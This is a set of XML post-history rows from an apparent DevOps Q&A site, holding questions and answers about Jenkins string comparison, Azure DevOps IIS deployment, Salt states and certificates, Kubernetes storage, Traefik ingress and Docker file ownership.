  <row Id="43660" PostHistoryTypeId="5" PostId="13765" RevisionGUID="6b3306a8-d558-43ae-82a9-0bf418316696" CreationDate="2021-05-11T19:51:03.277" UserId="44" Comment="rephrase/remove meta &quot;update&quot; infos" Text="I have a config file that's in YAML format, which includes this relevant portion:&#xD;&#xA;&#xD;&#xA;    project:&#xD;&#xA;      protectedBranches:&#xD;&#xA;        - master&#xD;&#xA;        - develop&#xD;&#xA;        - feature/something&#xD;&#xA;&#xD;&#xA;In my Jenkinsfile, the YAML file is loaded via: `config = readYaml('config.yml')`.&#xD;&#xA;&#xD;&#xA;I also have `env.GIT_BRANCH = env.gitlabSourceBranch` which results in `env.GIT_BRANCH` containing the value `origin/feature/something`&#xD;&#xA;&#xD;&#xA;The `config.project.protectedBranches` is of type `ArrayList()`&#xD;&#xA;&#xD;&#xA;I am attempting to do something based on whether `env.GIT_BRANCH` exists in the `config.project.protectedBranches`, but none of the following have worked.&#xD;&#xA;&#xD;&#xA;    def shortBranch = env.GIT_BRANCH&#xD;&#xA;    shortBranch = shortBranch.minus(&quot;origin/&quot;)&#xD;&#xA;    // shortBranch now has a value of feature/something&#xD;&#xA;&#xD;&#xA;    if(shortBranch in config.project.protectedBranches) // returns false&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also...&#xD;&#xA;&#xD;&#xA;    config.project.protectedBranches.each{ branch -&gt;&#xD;&#xA;        echo &quot;Does branch match shortBranch? ${branch.equals(shortBranch)}&quot; // returns false&#xD;&#xA;        echo &quot;Does branch match shortBranch? ${branch == shortBranch}&quot; // also returns false&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Both `branch` and `shortBranch` are of type `String`. Why on Earth can I not compare these strings?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The issue only occurs when the `branch` string contains a forward-slash, e.g, `feature/something`. Additionally, someone asked if I've verified the type of each, and yes I have. Both `shortBrancg.getClass()` and `branch.getClass()` return type `java.lang.String`. " ContentLicense="CC BY-SA 4.0" />
  <row Id="43661" PostHistoryTypeId="24" PostId="13765" RevisionGUID="6b3306a8-d558-43ae-82a9-0bf418316696" CreationDate="2021-05-11T19:51:03.277" Comment="Proposed by 44 approved by 40 edit id of 1390" ContentLicense="CC BY-SA 4.0" />
  <row Id="43662" PostHistoryTypeId="2" PostId="13873" RevisionGUID="58b8c684-cd38-4af8-bdc4-caa13f8f5429" CreationDate="2021-05-11T20:46:21.110" UserId="27622" Text="I am encountering the following error when attempting to stop an IIS website using the *IIS web app manage* task from an Azure DevOps pipeline.&#xD;&#xA;&#xD;&#xA;&gt;&quot;C:\Windows\system32\inetsrv\appcmd.exe&quot; stop site /site.name:&quot;mywebsite&quot;&#xD;&#xA;ERROR ( message:Cannot find SITE object with identifier &quot;mywebsite&quot;. )&#xD;&#xA;##[error]Process 'appcmd.exe' exited with code '1168'.&#xD;&#xA;&#xD;&#xA;I previously setup an *environment* named **Prod-Env** in Azure DevOps and ran the Power Shell script associated with it on the server. I confirmed the *Azure Pipelines Agent* service is running on the server, and under the *NT AUTHORITY\SYSTEM* account. The server is running IIS 10 and Windows Server 2016 Datacenter.&#xD;&#xA;&#xD;&#xA;This site does exist, as I logged into the server and was able to execute the command ```C:\Windows\system32\inetsrv\appcmd.exe&quot; stop site /site.name:&quot;mywebsite&quot;``` and it was successful (it stopped the site.) &#xD;&#xA;&#xD;&#xA;I included the deployment stage section of my *azure-pieplines.yml* file below. The error is being encountered on the **Stop the website** task.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- stage: Deploy_Prod&#xD;&#xA;  condition: and(succeeded(), eq(variables.isMain, true))&#xD;&#xA;  jobs:&#xD;&#xA;  - deployment: Deploy&#xD;&#xA;    pool:&#xD;&#xA;      vmImage: 'windows-latest'&#xD;&#xA;    environment: 'Prod-Env'&#xD;&#xA;    strategy:&#xD;&#xA;      runOnce:&#xD;&#xA;        deploy:&#xD;&#xA;          steps:&#xD;&#xA;          - task: IISWebAppManagementOnMachineGroup@0&#xD;&#xA;            displayName: Stop the website&#xD;&#xA;            inputs:&#xD;&#xA;              IISDeploymentType: 'IISWebsite'&#xD;&#xA;              ActionIISWebsite: 'StopWebsite'&#xD;&#xA;              WebsiteName: '$(websiteName)'&#xD;&#xA;              StartStopWebsiteName: '$(websiteName)'&#xD;&#xA;&#xD;&#xA;          - task: IISWebAppDeploymentOnMachineGroup@0&#xD;&#xA;            displayName: Update the website site&#xD;&#xA;            inputs:&#xD;&#xA;              WebSiteName: '$(websiteName)'&#xD;&#xA;              Package: 'D:\a\1\drop\MyWebsite.zip'&#xD;&#xA;&#xD;&#xA;          - task: IISWebAppManagementOnMachineGroup@0&#xD;&#xA;            displayName: Stop the website&#xD;&#xA;            inputs:&#xD;&#xA;              IISDeploymentType: 'IISWebsite'&#xD;&#xA;              ActionIISWebsite: 'StartWebsite'&#xD;&#xA;              StartStopWebsiteName: '$(websiteName)'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I used the the blog post [What’s new with Azure Pipelines][1] as inspiration for how to set this CI/CD pipeline up.&#xD;&#xA;&#xD;&#xA;Any suggestions? Am I missing something?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devblogs.microsoft.com/devops/whats-new-with-azure-pipelines/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43663" PostHistoryTypeId="1" PostId="13873" RevisionGUID="58b8c684-cd38-4af8-bdc4-caa13f8f5429" CreationDate="2021-05-11T20:46:21.110" UserId="27622" Text="Azure DevOps pipeline error on 'IIS web app manage' task" ContentLicense="CC BY-SA 4.0" />
  <row Id="43664" PostHistoryTypeId="3" PostId="13873" RevisionGUID="58b8c684-cd38-4af8-bdc4-caa13f8f5429" CreationDate="2021-05-11T20:46:21.110" UserId="27622" Text="&lt;azure-devops&gt;&lt;windows&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43665" PostHistoryTypeId="2" PostId="13874" RevisionGUID="2005f205-c5aa-44b2-a603-b8722e1b8f3a" CreationDate="2021-05-11T21:00:23.870" UserId="4328" Text="Nope, Fargate can be used for long running containerized workloads. Web apps, proxies, or any other containers. Maybe you are thinking of Fargate Spot? Fargate Spot is definitely not suitable for long running containers, and should only be used for running workloads that can be safely interrupted or stopped unexpectedly. This is because AWS is able to retake those instances from you at any point in time unexpectedly.   " ContentLicense="CC BY-SA 4.0" />
  <row Id="43666" PostHistoryTypeId="5" PostId="13874" RevisionGUID="4c14ee7a-6324-4c83-b55e-c75d55b6b802" CreationDate="2021-05-11T22:32:12.830" UserId="4328" Comment="deleted 1 character in body" Text="Nope, Fargate can be used for long running containerized workloads. Web apps, proxies, or any other containers. Maybe you are thinking of Fargate Spot? Fargate Spot is definitely not suitable for long running containers, and should only be used for running workloads that can be safely interrupted or stopped unexpectedly. This is because AWS is able to retake those instances from you at any point in time they choose.   " ContentLicense="CC BY-SA 4.0" />
  <row Id="43667" PostHistoryTypeId="5" PostId="5570" RevisionGUID="43bd5cf6-7f27-4c84-a0bb-5e3a9c75e57b" CreationDate="2021-05-11T23:22:44.343" UserId="3164" Comment="grammar" Text="Since the result is JSON, pipe the result to [**jq**](https://stedolan.github.io/jq/) and go from there.&#xD;&#xA;&#xD;&#xA;    kubectl get | jq '.items[0].metadata.name'&#xD;&#xA;&#xD;&#xA;yields&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ➜ cat abc.json | jq '.items[0].metadata.name'&#xD;&#xA;    &quot;kubernetes-bootcamp-5c69669756-cxhwf&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43668" PostHistoryTypeId="2" PostId="13875" RevisionGUID="ce0c4e41-8edc-4db7-bf2c-14b5e17f9bc0" CreationDate="2021-05-12T00:38:40.060" UserId="6579" Text="I would use the webhooks GitHub provides if you don't need something specific from Jenkins (Jenkins is in many cases a consumer of GitHub events/webhooks).&#xD;&#xA;&#xD;&#xA;https://docs.github.com/en/developers/webhooks-and-events/webhook-events-and-payloads#push&#xD;&#xA;&#xD;&#xA;Using this webhook you could inspect each payload for specific parameters (ref, repo, etc...) and do something (like pull) if those parameters are met. In either case, you will need a service that can process the webhook/payload and perform the work/automation. " ContentLicense="CC BY-SA 4.0" />
  <row Id="43669" PostHistoryTypeId="2" PostId="13876" RevisionGUID="dd23b437-86a4-41c2-9927-77ac371d6f23" CreationDate="2021-05-12T01:43:06.773" UserId="2845" Text="It looks like you are on the right approach here, the issue seems to be one of debugging. I have found this [jinja2 live templating engine](https://cryptic-cliffs-32040.herokuapp.com/) to be helpful with debugging in the past.&#xD;&#xA;&#xD;&#xA;In python (on which jinja is based) [&quot;True&quot; is a keyword](https://problemsolvingwithpython.com/04-Data-Types-and-Variables/04.02-Boolean-Data-Type/) which is probably getting interpreted as a boolean [data type](https://en.wikipedia.org/wiki/Data_type). This would be in contrast to the string, integer, or floating point (decimal) data types which are a C/C++ concept that python inherits since it's interpreter is written in C. Python tries to be agnostic to data type and variables are not [strongly typed](https://en.wikipedia.org/wiki/Strong_and_weak_typing). This appears to be a situation in which the lack of strong typing may be getting you into some hot water. &#xD;&#xA;&#xD;&#xA;In your boolean logic in the &quot;if&quot; block says to only render the section if `allow_httpd` is a string - but it isn't! It's a boolean! This is likely the error. Instead, you may wish to try simply:&#xD;&#xA;&#xD;&#xA;    {% if allow_httpd %}&#xD;&#xA;    Make sure httpd service is running:&#xD;&#xA;      service.enabled:&#xD;&#xA;        - name: httpd&#xD;&#xA;&#xD;&#xA;    {% else %}&#xD;&#xA;&#xD;&#xA;    stop and disable httpd:&#xD;&#xA;      service.dead:&#xD;&#xA;        - name: httpd&#xD;&#xA;        - enable: False&#xD;&#xA;&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;I'd also recommend you remove your quotes in the pillar data if you use this approach." ContentLicense="CC BY-SA 4.0" />
  <row Id="43670" PostHistoryTypeId="5" PostId="12510" RevisionGUID="7f2c4ba8-0f69-4e1c-944e-3feb1906a389" CreationDate="2021-05-12T01:45:49.920" UserId="2845" Comment="added 21 characters in body" Text="I would like to have the following a bit more clean. I'm trying to create concatenated CA file using Salt.&#xD;&#xA;To accomplish this I first have to collect all glusterfs.pem files from all my minions and transfer them to the salt-master's minions cache and then output all glusterfs.pem into a single CA file (glusterfs.ca) on the salt-master to later on enroll them again on all minions.&#xD;&#xA;&#xD;&#xA;Actually my solution is working but it is simply out of the salt context and looks crappy to me. I'm new to salt, I never worked with reactors, so and I was hoping to find some help (preferably  with an example if possible) on this site.&#xD;&#xA;&#xD;&#xA;This is my current situation only using states:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;glusterfs/init.sls (only runs on minions)&#xD;&#xA;&#xD;&#xA;    /etc/ssl/glusterfs.key:&#xD;&#xA;      x509.private_key_managed:&#xD;&#xA;        - order: 9&#xD;&#xA;        - bits: 2048&#xD;&#xA;        - name: /etc/ssl/glusterfs.key&#xD;&#xA;    &#xD;&#xA;    /etc/ssl/glusterfs.pem:&#xD;&#xA;      x509.certificate_managed:&#xD;&#xA;        - order: 10&#xD;&#xA;        - signing_private_key: /etc/ssl/glusterfs.key&#xD;&#xA;        - CN: {{ grains.id }}&#xD;&#xA;        - C: UA&#xD;&#xA;        - ST: Unavailable&#xD;&#xA;        - L: Unavailable&#xD;&#xA;        - basicConstraints: &quot;critical CA:true&quot;&#xD;&#xA;        - keyUsage: &quot;critical cRLSign, keyCertSign&quot;&#xD;&#xA;        - subjectKeyIdentifier: hash&#xD;&#xA;        - authorityKeyIdentifier: keyid,issuer:always&#xD;&#xA;        - days_valid: 3650&#xD;&#xA;        - days_remaining: 0&#xD;&#xA;    &#xD;&#xA;    /etc/ssl/glusterfs.ca:&#xD;&#xA;      file:&#xD;&#xA;        - order: 11&#xD;&#xA;        - managed&#xD;&#xA;        - source: salt://glusterfs/glusterfs.ca&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ca.sls (only runs on salt-master):&#xD;&#xA;&#xD;&#xA;    collect_glusterfs_certs:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - order: 1&#xD;&#xA;        - name: salt -C 'not salt' cp.push /etc/ssl/glusterfs.pem&#xD;&#xA;    &#xD;&#xA;    concatenation_glusterfs_certs:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - order: 2&#xD;&#xA;        - onlyif: 'test ! -e /var/cache/salt/master/minions/{master*,worker*}/files/etc/ssl/glusterfs.pem &amp;&amp; test ! -e /srv/salt/glusterfs/glusterfs.ca'&#xD;&#xA;        - name: 'cat /var/cache/salt/master/minions/*/files/etc/ssl/glusterfs.pem &gt; /srv/salt/glusterfs/glusterfs.ca'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I basically first pull all glusterfs.pem to the local salt-master's minion cache and afterwards create the concatenated glusterfs.ca file which I  later deploy onto all the minions I previously collected the glusterfs.pem file from...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="43671" PostHistoryTypeId="2" PostId="13877" RevisionGUID="68abb551-37f0-4c28-a4a8-800b4bffc879" CreationDate="2021-05-12T02:34:33.783" UserId="2845" Text="It feels like what you have done here is implement a discount/bastardized CA (Certificate Authority). I fear that in doing so, you might have inadvertently created a security threat for yourself. &#xD;&#xA;&#xD;&#xA;In a traditional PKI deployment, your client would generate a private key and a Certificate Signing Request (CSR) that is then submitted to your Certificate Authority for signing. Your CA would then sign your key after validating the applicant by some means and issue a Certificate to be installed on the client.&#xD;&#xA;&#xD;&#xA;What you may have just done by concatenating every single certificate of each client into a CA is grant each and every client the ability to sign certificates for other machines. Any machine in your Gluster cluster then may have the ability to issue a certificate for an arbitrary key which then would be trusted by your Gluster cluster which could allow for an attacker to use a compromised system or key to allow an arbitrary endpoint to join your cluster.&#xD;&#xA;&#xD;&#xA;Instead, you might want to follow this guide on [setting up a CA for use by your SaltStack](https://backbeat.tech/blog/using-saltstack-for-internal-ssl-certificates). In fact, it is worth noting that your salt master is itself a CA. You could simply copy the minion's certificate and key for use by gluster, though that has the downside of a compromised cert/key being able to be used to impersonate a minion.&#xD;&#xA;&#xD;&#xA;But generally speaking, you probably don't want to grant all of your minions the power to be a CA." ContentLicense="CC BY-SA 4.0" />
  <row Id="43672" PostHistoryTypeId="2" PostId="13878" RevisionGUID="705baf71-e34f-4521-a21d-0c2f4ff5f5be" CreationDate="2021-05-12T02:44:44.727" UserId="2845" Text="Most likely, the event driven system you refer to is SaltStack's [Reactors](https://docs.saltproject.io/en/latest/topics/reactor/index.html) and [Beacons](https://docs.saltproject.io/en/latest/topics/beacons/index.html). As it turns out, Ansible allows the use of [Connection plugins](https://docs.ansible.com/ansible/latest/plugins/connection.html) to support other transport methods, [one of which is SaltStack](https://docs.ansible.com/ansible/latest/collections/community/general/saltstack_connection.html). This means that there is nothing stopping you from having your cake and eating it too - you can use Ansible to run a playbook using a saltstack minion and use you minions to run Ansible playbooks.&#xD;&#xA;&#xD;&#xA;In short why not use SaltStack to drive your Ansible events? You already know it and love it, so why not use what's already familiar? " ContentLicense="CC BY-SA 4.0" />
  <row Id="43673" PostHistoryTypeId="2" PostId="13879" RevisionGUID="f40783cd-5f13-4d7d-a83b-13583d52bd40" CreationDate="2021-05-12T02:54:17.070" UserId="2845" Text="There is no error in what you have posted here. The error lies elsewhere in your code which you did not include in the OP. Using the [Jinja live parser](https://cryptic-cliffs-32040.herokuapp.com/), when pasting in:&#xD;&#xA;&#xD;&#xA;    {% if spade.corename == 'FI' and spade.nodetype == 'master' %}&#xD;&#xA;    dataimport-script:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /opt/bin/DataImport.py&#xD;&#xA;        - source: salt://files/DataImport.py&#xD;&#xA;&#xD;&#xA;    dataimport-crontab:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /etc/cron.d/solr-dataimport&#xD;&#xA;        - contents: |&#xD;&#xA;                    # # set up data import for FI every 2 minutes&#xD;&#xA;                    */2 * * * * root /usr/bin/python /opt/bin/DataImport.py&#xD;&#xA;    {% elif spade.nodetype in ['slave','ds'] and spade.corename == 'FI' %}&#xD;&#xA;    update-fi-solrconfig:&#xD;&#xA;      file.replace:&#xD;&#xA;        - name: {{ salt['pillar.get']('solr:home_dir') }}/data/{{ &#xD;&#xA;    salt['pillar.get']('spade:Corename') }}/conf/solrconfig.xml&#xD;&#xA;        - pattern: '&quot;autoDeletePeriodSeconds&quot;&gt;30'&#xD;&#xA;        - repl: '&quot;autoDeletePeriodSeconds&quot;&gt;-1'&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;With a pillar of:&#xD;&#xA;&#xD;&#xA;    spade:&#xD;&#xA;      corename: FI&#xD;&#xA;      nodetype: master&#xD;&#xA;&#xD;&#xA;Everything renders just fine. This tells me there is nothing wrong with your snippet. The fact that your error indicates you have at least 205 lines of code, but the example has far less tells me the issue was with another &quot;if&quot; block further up in your code." ContentLicense="CC BY-SA 4.0" />
  <row Id="43674" PostHistoryTypeId="2" PostId="13880" RevisionGUID="45fb6a0d-d15b-462c-9b34-572fac16127f" CreationDate="2021-05-12T11:03:59.037" UserId="27633" Text="I know there are several options, I’ve heard everything from SSHFS, NFS, object storage all the way to storage OS, my issue is I need something fast and reliable to serve a media website built on Wordpress or similar cms. However I may want to do something with django also. &#xA;&#xA;I have a home server I’ve been using over sshfs for some things but for a media site I don’t think that would be fast enough.&#xA;&#xA;Any suggestions on the best method to store things? I also need to be able to access these items on an as needed basis through SFTP or an interface.&#xA;I’ve heard more than once that storageOS is the best option but after reviewing their site I don’t understand how it is persistent storage if it’s a container that is stored on an inaccessible node. &#xA;&#xA;How can you back that up, manage space, etc? &#xA;&#xA;I’m sure that a lot of you were looking at this question laughing because it seems so silly. Then there are probably some people who are just learning and saying OK yeah this is a legitimate question and then there are probably some people newer than myself you don’t even realize they need storage yet.&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43675" PostHistoryTypeId="1" PostId="13880" RevisionGUID="45fb6a0d-d15b-462c-9b34-572fac16127f" CreationDate="2021-05-12T11:03:59.037" UserId="27633" Text="Best Kubernetes storage option" ContentLicense="CC BY-SA 4.0" />
  <row Id="43676" PostHistoryTypeId="3" PostId="13880" RevisionGUID="45fb6a0d-d15b-462c-9b34-572fac16127f" CreationDate="2021-05-12T11:03:59.037" UserId="27633" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43677" PostHistoryTypeId="2" PostId="13881" RevisionGUID="830072e9-ac3d-48ce-aa4d-85e139588fc7" CreationDate="2021-05-12T12:55:43.957" UserId="27634" Text="Your question is not silly at all, indeed managing WordPress at scale requires broad knowledges due to how WordPress is implemented.&#xD;&#xA;&#xD;&#xA;It's good to know that WordPress consists of 1) core PHP code, 2) plugins/themes and 3) uploaded media assets.&#xD;&#xA;To serve the core and plugins, you'll need to locate the code either in local disk or NFS. Local disk is obviously faster since it doesn't interact with network, but NFS is a good choice if you want to have multiple servers to share the same code.&#xD;&#xA;&#xD;&#xA;The uploaded media assets are a bit different. The most common &quot;assets&quot; are image files, and you can completely offload the server traffic to object storage such as AWS S3 or GCP Cloud Storage. Unlike plugins and themes, the media assets  are **static** meaning it will never run server-side logics like PHP.&#xD;&#xA;&#xD;&#xA;Moreover, WordPress is **read-heavy** application that most of the MySQL query is to render blog posts to your public audiences, means any-sized server may blow up when unexpected number of visitors rush to your website. This is where CDN shines, to cache rendered HTMLs in the edge servers at the first visit, then serve the cached files without reaching to origins. [AWS CloudFront](https://aws.amazon.com/cloudfront/) and [GCP Cloud CDN](https://cloud.google.com/cdn) are popular CDNs to turn cheap WordPress server to globally-scalable media site.&#xD;&#xA;&#xD;&#xA;So, I recommend to have the following architecture:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Visitor --&gt; CDN --&gt; Web/PHP Server --&gt; MySQL&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When configured correctly, you can serve millions of traffics backed with $10 web server." ContentLicense="CC BY-SA 4.0" />
  <row Id="43678" PostHistoryTypeId="2" PostId="13882" RevisionGUID="6de8687c-66c6-4350-893f-e63b79219278" CreationDate="2021-05-12T15:20:26.640" UserId="3164" Text="Restarting Istio controlplane should fix the issue on hand (pods in `istio-system`, most likely pilot).&#xD;&#xA;&#xD;&#xA;More importantly do not run Istio 1.2 its very outdated version with many bugs and security issues." ContentLicense="CC BY-SA 4.0" />
  <row Id="43679" PostHistoryTypeId="2" PostId="13883" RevisionGUID="4eeae38a-3f93-4480-8bde-9f38b7af482b" CreationDate="2021-05-12T17:19:43.570" UserId="27635" Text="I am new to azure pipelines, started learning &amp; in the process of creating my very 1st yaml pipeline.&#xD;&#xA;&#xD;&#xA;My project is private, I am using multi-stage templated pipelines, self-hosted as need to concurrently deploy a java web application to 7 VMs using mvn tomcat7 plugin run: command &#xD;&#xA;so as to run selenium automation tests in parallel across all the VMs. A template pipeline which is called 7 times to deploy to all the VMs is such that it needs to stay running as &#xD;&#xA;necessitated by the embedded tomcat instance on each of the VMs which in turn requires the ablitiy to have parallelism enabled, pay extra for to achieve this.&#xD;&#xA;&#xD;&#xA;My question - is there another way without having to pay extra for parallelism or turning my project to be a public one ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43680" PostHistoryTypeId="1" PostId="13883" RevisionGUID="4eeae38a-3f93-4480-8bde-9f38b7af482b" CreationDate="2021-05-12T17:19:43.570" UserId="27635" Text="Azure Pipeline Parallelism option" ContentLicense="CC BY-SA 4.0" />
  <row Id="43681" PostHistoryTypeId="3" PostId="13883" RevisionGUID="4eeae38a-3f93-4480-8bde-9f38b7af482b" CreationDate="2021-05-12T17:19:43.570" UserId="27635" Text="&lt;azure&gt;&lt;pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43682" PostHistoryTypeId="2" PostId="13884" RevisionGUID="52f3e458-bdc0-4fd5-a3d8-9940d27611c8" CreationDate="2021-05-12T17:22:13.833" UserId="27637" Text="You can rate limit or throttle based on the IP: https://docs.microsoft.com/en-us/azure/api-management/api-management-sample-flexible-throttling#ip-address-throttling&#xD;&#xA;&#xD;&#xA;Also, Azure DDoS Protection Basic doesn't cover much. It won't know what is normal or not for your application without paying the ~$3,000 per month for the Standard plan." ContentLicense="CC BY-SA 4.0" />
  <row Id="43683" PostHistoryTypeId="2" PostId="13885" RevisionGUID="c279dae7-8611-4fbe-81b6-6cafc877a1fb" CreationDate="2021-05-12T17:35:43.840" UserId="27443" Text="I want to be able to load balance several nodes of a backend service represented by `ClusterIP` services using a `traefik.containo.us/v1alpha1` ingress. I know that `ClusterIP` service can load balance easily with deployments and `ReplicaSet`  but the way this application is designed each node needs to be it's own Deployment as it is a stateful node. &#xD;&#xA;&#xD;&#xA;So I either need a way to have the flow be:&#xD;&#xA;&#xD;&#xA;    Ingress --&gt; [ClusterIP-Node1, ClusterIP-Node2, ClusterIP-Node3, ClusterIP-Node4] &#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    Ingress --&gt; ClusterIP-LoadBalancer --&gt; [ClusterIP-Node1, ClusterIP-Node2, ClusterIP-Node3, ClusterIP-Node4] &#xD;&#xA;&#xD;&#xA;How can I use `traefik.containo.us/v1alpha1` to automatically loadbalance between these `ClusterIP` services?&#xD;&#xA;&#xD;&#xA;For example, if I currently have one `Ingress` for each `ClusterIP, like this:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    apiVersion: traefik.containo.us/v1alpha1&#xD;&#xA;    kind: IngressRoute&#xD;&#xA;    metadata:&#xD;&#xA;      name: my-service-node1-ingress&#xD;&#xA;    spec:&#xD;&#xA;      entryPoints:&#xD;&#xA;        - web&#xD;&#xA;        - websecure&#xD;&#xA;      routes:&#xD;&#xA;        - kind: Rule&#xD;&#xA;          match: Host(`myservice-node1.mycompany.example`)&#xD;&#xA;          services:&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node1-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;    &#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: myservice-node1-clusterip&#xD;&#xA;      labels:&#xD;&#xA;        app: myservice&#xD;&#xA;        tier: backend&#xD;&#xA;        name: myservice-node1&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        app: myservice&#xD;&#xA;        tier: backend&#xD;&#xA;        name: myservice-node1-deployment&#xD;&#xA;      type: ClusterIP&#xD;&#xA;      ports:&#xD;&#xA;        - name: rpc-listener&#xD;&#xA;          protocol: TCP&#xD;&#xA;          port: 80&#xD;&#xA;          targetPort: 8545&#xD;&#xA;    ... N+1&#xD;&#xA;    &#xD;&#xA;And I want to change that to a single `Ingress` Point similar to this:&#xD;&#xA;&#xD;&#xA;    apiVersion: traefik.containo.us/v1alpha1&#xD;&#xA;    kind: IngressRoute&#xD;&#xA;    metadata:&#xD;&#xA;      name: my-service-ingress&#xD;&#xA;    spec:&#xD;&#xA;      entryPoints:&#xD;&#xA;        - web&#xD;&#xA;        - websecure&#xD;&#xA;      routes:&#xD;&#xA;        - kind: Rule&#xD;&#xA;          match: Host(`myservice.mycompany.example`)&#xD;&#xA;          services:&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node1-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;&#xD;&#xA;Is it possible to have the `traefik.containo.us/v1alpha1` load balance across the services similar to this?&#xD;&#xA;&#xD;&#xA;    apiVersion: traefik.containo.us/v1alpha1&#xD;&#xA;    kind: IngressRoute&#xD;&#xA;    metadata:&#xD;&#xA;      name: my-service-ingress&#xD;&#xA;    spec:&#xD;&#xA;      entryPoints:&#xD;&#xA;        - web&#xD;&#xA;        - websecure&#xD;&#xA;      routes:&#xD;&#xA;        - kind: Rule&#xD;&#xA;          match: Host(`myservice.mycompany.example`)&#xD;&#xA;          services:&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node1-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node2-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node3-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;            - kind: Service&#xD;&#xA;              name: myservice-node4-clusterip&#xD;&#xA;              passHostHeader: true&#xD;&#xA;              port: 80&#xD;&#xA;&#xD;&#xA;Also, is there a way to pass the `sessionAffinity` with it like there are in services `sessionAffinity: ClientIP`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43684" PostHistoryTypeId="1" PostId="13885" RevisionGUID="c279dae7-8611-4fbe-81b6-6cafc877a1fb" CreationDate="2021-05-12T17:35:43.840" UserId="27443" Text="How to get traefik ingress to load balance across several ClusterIP services" ContentLicense="CC BY-SA 4.0" />
  <row Id="43685" PostHistoryTypeId="3" PostId="13885" RevisionGUID="c279dae7-8611-4fbe-81b6-6cafc877a1fb" CreationDate="2021-05-12T17:35:43.840" UserId="27443" Text="&lt;kubernetes&gt;&lt;traefik&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43686" PostHistoryTypeId="2" PostId="13886" RevisionGUID="473e2b13-cab2-4858-a77b-52f9619f7544" CreationDate="2021-05-12T17:36:55.200" UserId="27155" Text="I have this service in my `docker-compose.yml`&#xD;&#xA;&#xD;&#xA;  php-fpm:&#xD;&#xA;    container_name: php_app&#xD;&#xA;    restart: always&#xD;&#xA;    build:&#xD;&#xA;      context: .&#xD;&#xA;      dockerfile: ./docker/php-fpm/Dockerfile&#xD;&#xA;    volumes:&#xD;&#xA;      - ./src:/var/www/html&#xD;&#xA;&#xD;&#xA;that take everything of the host folder `src` and add to `/var/www/html`:&#xD;&#xA;&#xD;&#xA;    FROM php:8.0.2-fpm-alpine&#xD;&#xA;    WORKDIR /var/www/html&#xD;&#xA;    &#xD;&#xA;    RUN docker-php-ext-install pdo_mysql&#xD;&#xA;    RUN docker-php-ext-install mysqli&#xD;&#xA;    RUN apk add icu-dev&#xD;&#xA;    &#xD;&#xA;    COPY docker/php-fpm/config/php.ini /usr/local/etc/php/&#xD;&#xA;    &#xD;&#xA;    RUN apk add --update nodejs nodejs-npm&#xD;&#xA;    RUN npm install gulp-cli -g&#xD;&#xA;    RUN npm install&#xD;&#xA;    &#xD;&#xA;    COPY src src/&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;php-fpm&quot;]&#xD;&#xA;    &#xD;&#xA;    EXPOSE 9000&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;accessing the container using `sudo docker exec -it php_app sh ` and executing `ls -la` I have:&#xD;&#xA;&#xD;&#xA;drwxrwxr-x    6 1001     1001          4096 May 12 15:54 writable&#xD;&#xA;&#xD;&#xA;which must be owned by `www-data`, how can I set the ownership automatically when the builds complete?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43687" PostHistoryTypeId="1" PostId="13886" RevisionGUID="473e2b13-cab2-4858-a77b-52f9619f7544" CreationDate="2021-05-12T17:36:55.200" UserId="27155" Text="How to change ownership of folder inside the container after build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43688" PostHistoryTypeId="3" PostId="13886" RevisionGUID="473e2b13-cab2-4858-a77b-52f9619f7544" CreationDate="2021-05-12T17:36:55.200" UserId="27155" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
